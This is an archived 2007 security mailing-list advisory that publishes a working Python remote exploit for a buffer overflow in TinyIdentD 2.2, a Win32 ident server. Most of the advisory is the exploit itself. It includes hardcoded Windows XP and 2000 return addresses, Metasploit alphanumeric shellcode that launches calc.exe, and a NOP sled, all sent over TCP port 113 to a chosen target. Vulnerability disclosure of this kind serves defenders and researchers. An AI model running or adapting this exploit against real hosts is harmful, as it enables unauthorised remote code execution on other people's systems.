

[EXPL] TinyIdentD Buffer Overflow (Exploit)

Source: <http://www.derkeiler.com/Mailing-Lists/Securiteam/2007-05/msg00028.html>

- *From:* SecuriTeam <support@xxxxxxxxxxxxxxx>
 - *Date:* 15 May 2007 16:39:03 +0200
-

The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: <http://www.securiteam.com>
-- promotion

The SecuriTeam alerts list – Free, Accurate, Independent.

Get your security news from a reliable source.
<http://www.securiteam.com/maillinglist.html>

TinyIdentD Buffer Overflow (Exploit)

SUMMARY

Tiny IdentD is a small ident server for Win32. An Ident server is a small service that IRC servers, and some non-IRC related servers, use to verify your username. A vulnerability in TinyIdentD allows remote attackers to cause the program to execute arbitrary code.

DETAILS

Vulnerable Systems:

* TinyIdentD version 2.2

Exploit:

```
#  
#tinyidentd exploit code by  
#thomas . pollet _at_ gmail . com  
#bug by Maarten Boone  
#  
#usage: python exploit.py [target]  
#  
import socket,sys  
#jmp into nop sled
```

[EXPL] TinyIdentD Buffer Overflow (Exploit)

```
payload = '\xeb\x20'  
#ident crap  
payload += ', 28 : USERID : UNIX : '  
#nop sled  
payload += 'XXXX'  
# jmp *%esi  
payload += '\x77\x13\x83\x7c' #XP kernel32.dll  
#payload += '\xb1\x63\xd9\x77' #W2K rpcrt4.dll  
#metasploit alphanumeric shellcode calc.exe  
shellcode =  
"\xeb\x03\x59\xeb\x05\xe8\xf8\xff\xff\x49\x49\x49\x49"  
shellcode +=  
"\x49\x49\x48\x49\x49\x49\x49\x49\x49\x49\x51\x5a\x6a\x44"  
shellcode +=  
"\x58\x50\x30\x41\x30\x41\x6b\x41\x41\x54\x42\x32\x41\x42\x32\x42"  
shellcode +=  
"\x41\x30\x42\x41\x58\x41\x50\x38\x41\x42\x75\x4a\x49\x69\x6c\x4b"  
shellcode +=  
"\x58\x51\x54\x65\x50\x57\x70\x45\x50\x4e\x6b\x67\x35\x35\x6c\x4e"  
shellcode +=  
"\x6b\x73\x4c\x55\x55\x71\x68\x67\x71\x68\x6f\x6c\x4b\x52\x6f\x46"  
shellcode +=  
"\x78\x4e\x6b\x51\x4f\x71\x30\x74\x41\x7a\x4b\x30\x49\x6c\x4b\x54"  
shellcode +=  
"\x74\x6e\x6b\x76\x61\x4a\x4e\x35\x61\x4b\x70\x6a\x39\x4c\x6c\x4d"  
shellcode +=  
"\x54\x6b\x70\x30\x74\x54\x47\x6a\x61\x6a\x6a\x64\x4d\x63\x31\x79"  
shellcode +=  
"\x52\x4a\x4b\x69\x64\x67\x4b\x32\x74\x65\x74\x66\x64\x31\x65\x4a"  
shellcode +=  
"\x45\x6c\x4b\x71\x4f\x31\x34\x57\x71\x48\x6b\x52\x46\x6e\x6b\x64"  
shellcode +=  
"\x4c\x52\x6b\x4e\x6b\x31\x4f\x77\x6c\x54\x41\x68\x6b\x4c\x4b\x57"  
shellcode +=  
"\x6c\x6c\x4b\x57\x71\x4a\x4b\x4e\x69\x41\x4c\x65\x74\x67\x74\x4a"  
shellcode +=  
"\x63\x75\x61\x4f\x30\x51\x74\x6c\x4b\x61\x50\x50\x30\x4f\x75\x4f"  
shellcode +=  
"\x30\x32\x58\x64\x4c\x4c\x4b\x71\x50\x54\x4c\x4c\x4b\x70\x70\x57"  
shellcode +=  
"\x6c\x4e\x4d\x6e\x6b\x73\x58\x35\x58\x4a\x4b\x36\x69\x6c\x4b\x4d"  
shellcode +=  
"\x50\x4c\x70\x67\x70\x75\x50\x37\x70\x4c\x4b\x45\x38\x35\x6c\x41"  
shellcode +=  
"\x4f\x57\x41\x68\x76\x53\x50\x30\x56\x6e\x69\x6b\x48\x6f\x73\x6f"  
shellcode +=  
"\x30\x63\x4b\x62\x70\x30\x68\x58\x70\x6f\x7a\x57\x74\x51\x4f\x45"  
shellcode +=  
"\x38\x6f\x68\x59\x6e\x4f\x7a\x66\x6e\x62\x77\x69\x6f\x38\x67\x73"  
shellcode +=  
"\x53\x52\x41\x30\x6c\x71\x73\x64\x6e\x35\x35\x30\x78\x70\x65\x45"
```

[EXPL] TinyIdentD Buffer Overflow (Exploit)

```
shellcode += "\x50\x44"

nopsized=523-len(payload)-len(shellcode)
nopsled=""
for i in range(nopsized):
    nopsled+='\x90'

payload=payload.replace('XXXX',nopsled+shellcode)

try:
    target=sys.argv[1]
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    s.connect((target,113))
    s.send(payload+'\n')
    s.close()
    print 'done'
except:
    print 'usage : %s [target] %s sys.argv[0]
```

ADDITIONAL INFORMATION

The information has been provided by milw0rm.

The original article can be found at:

<<http://www.milw0rm.com/exploits/3925>>

<http://www.milw0rm.com/exploits/3925>

=====

This bulletin is sent to members of the SecuriTeam mailing list.

To unsubscribe from the list, send mail with an empty subject line and body to:

list-unsubscribe@xxxxxxxxxxxxxxxx

In order to subscribe to the mailing list, simply forward this email to: list-subscribe@xxxxxxxxxxxxxxxx

=====

=====

DISCLAIMER:

The information in this bulletin is provided "AS IS" without warranty of any kind.

In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages.